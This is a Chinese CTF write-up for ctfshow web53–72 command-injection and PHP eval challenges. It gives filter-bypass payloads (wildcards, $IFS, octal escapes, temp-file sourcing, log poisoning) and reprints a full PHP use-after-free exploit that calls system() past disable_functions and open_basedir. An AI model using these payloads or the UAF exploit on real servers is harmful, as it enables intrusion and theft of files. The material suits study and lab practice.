目录
web53
web54
web55
web56
web57
web58
web59
web60
web61
web62
web63
web64
web65
web66
web67
web68
web69
web70
web71
web72
web53
?c=ca%27%27t${IFS}fla?.php
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ echo($c); $d = system($c); echo "<br>".$d; }else{ echo 'no'; } }else{ highlight_file(__FILE__); }
system函数的返回值是返回的结果的最后一行
web54
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
?c=ls
?c=mv${IFS}fl?g.php${IFS}a.txt
web55
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
不能有字母 那就要使用经典无字母rce了
方法1 ?c=/???/????64%20????.??? 可以理解为
?c=/bin/base64%20flag.php(为啥用
base64
?因为它含有数字64可以用????64
来匹配,其他命令无法匹配到)当你使用
/bin/base64 flag.php
命令时,它会读取flag.php
文件中的内容,并将其转换成 base64 编码的形式输出。本地测试
实战
方法2 使用/usr/bin/bzip2 对文件进行压缩
?c=/???/???/????2 ????.???
最后访问/flag.php.bz2即可
方法3 比较经典 这是一个上传文件的模版 向指定url的服务器上传文件 然后服务器会自动将上传的文件放置指定目录 在linux里面临时存放文件的目录可能会被定时删除 这个目录是/tmp,然后一般网页文件会命名为php???,后面是随机的字母,即:/tmp/phpXXXXXX 所以我们需要规定一个范围[@-[],从@-[就是26个字母大写的 php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了
构造一个 post 请求并上传文件。由于没有过滤 “ . ”(点),所以通过执行文件中的 Linux 命令获取 flag。 Linux 中
.
(点)命令,或者叫 period,它的作用和source
命令一样,就是用当前的 shell 执行一个文件中的命令<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://27622056-3638-418a-95d0-7a217d279e6a.challenge.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
抓包并修改
在 burp 拦截中,通过 GET 方式传递: ?c=.%20/???/????????[@-[]
并在上传文件内容添加sh命令: #!/bin/bash pwd
第四种方法 使用八进制
使用
$'\154\163'
会执行
ls
故payload是
/?c=$'\143\141\164'%20*
解释
首先,
$
符号在命令行中通常用来表示命令提示符,表示后续的内容是要在命令行中执行的。接下来,
%27
是对单引号字符'
的 URL 编码表示。URL 编码是一种将特殊字符转换成百分号(%
)后跟两位十六进制数的表示方式。在这个例子中,%27
表示字符'
。然后,
\143\141\164
是对字符串 "cat" 的八进制编码表示。在八进制编码中,\
后面跟着三个数字表示一个字符的八进制 ASCII 值。在这个例子中,\143
表示字符 'c',\141
表示字符 'a',\164
表示字符 't'。
web56
与web55同理
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
没有过滤点
从而使用上一关第三种方法即可
- Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。
- Linux 中
.
(点)命令,或者叫 period,它的作用和source
命令一样,就是用当前的 shell 执行一个文件中的命令。- ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间
web57
$((~$(())))=-1
需要36个
最外层$((~$(())))需要取反-36变+36
payload为?c=$((~$(( $((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))
))))
更简单的方法
${##}${##}=11 ${##}=1
echo $((${##}${##}+${##}${##}+${##}${##}+${##}+${##}+${##})) 也是36
注意 这个#容易出问题先url编码
web58
开始禁用函数
<?php if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
没难度
system被禁用
换一个 c=highlight_file(next(array_reverse(scandir("."))));
web59
同理
echo file_get_contents('flag.php'); 函数被禁用了
c=highlight_file(next(array_reverse(scandir(".")))); 高亮显示文件即可
web60
c=highlight_file(next(array_reverse(scandir(".")))); 高亮显示文件即可
web61
同理 完整步骤先看一下啊当前目录下的文件
c=var_dump(scandir(dirname('FILE')));
c=highlight_file('flag.php'); 高亮显示文件即可
又学一个姿势
方法二
使用u-a 把内容写进日志里去/var/log/nginx/access.log
然后证明一下能不能执行命令 发现可以
连接蚁剑即可
web62
同理高亮显示即可
使用新姿势
include('flag.php');echo $flag;
又来一个新姿势 重命名
web63
同理高亮即可
使用新姿势
先包含然后输出所有变量
web64
同理高亮即可
web65
同理高亮即可
web66
c=print_r(scandir("/"));
c=highlight_file('/flag.txt');
web67
与上一题同理
c=print_r(scandir("/"));
c=highlight_file('/flag.txt');
web68
原始页面报个错误 无法高亮显示 源代码和前面是一样的
c=show_source("/flag.txt"); 输出页面信息函数也不让用了
那就c=include $_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include('/flag.txt'); 也可以 因为知道不是php文件了 是纯文本文件了 所以直接包含 就能把文本内容输出
web69
同web68
c=include('/flag.txt');
或
c=include $_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=/flag.txt
web70
同理
方法一
c=include('/flag.txt');
方法二
c=include $_POST[1]?>&1=php://filter/read=convert.base64-encode/resource=/flag.txt
web71
访问后
下载源码
<?php error_reporting(0); ini_set('display_errors', 0);# 不在浏览器输出php报错信息了 // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗?
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s); 这个替换很关键 他不上查看内容获取缓冲区内容赋值到变量s中 然后清空缓冲区造成无法正常输出到浏览器的内容
那么就c=include('/flag.txt');die("hello"); 执行完命令后直接退出脚本防止清除缓冲区从而输出内容到浏览器c=include('/flag.txt');exit(0);也可以
web72
<?php error_reporting(0); ini_set('display_errors', 0);# 不在浏览器输出php报错信息了 // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗?
和上一题代码一样
1 c=var_export(scandir("."));die("hello");
目录下有个flag.php
2 c=include("flag.php");echo $flag;die("hello");
查看flag文件 发现不在这里
3 c=var_export(scandir("/"));die("hello");
查看根目录下有什么 发现报错 /不允许输出在路径中查看根目录(那就是没有权限)并且有报错open_basedir
open_basedir
是一个 PHP 安全性特性,它定义了 PHP 脚本可访问的目录范围,限制了脚本的访问权限那就直接利用php脚本读目录 使用glob://伪协议绕过open_basedir
它使用
DirectoryIterator
类来遍历当前目录下的文件和文件夹,并将它们的名称输出到浏览器c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' '); } exit(0); ?>
c=include("/flag0.txt");exit(0);
发现inculde依旧不能包含 安全特性所限制目录的文件
uaf绕过open_basedir安全特性从而可以读取所限制目录下的文件
一个通用的poc 最下方修改我们需要执行的shell命令 需要进行url编码 使用时用脚本内容 不用把<?php带上
<?php function ctfshow($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; write($abc, 0x60, 2); write($abc, 0x70, 6); write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd); exit(); } ctfshow("cat /flag0.txt");ob_end_flush(); ?>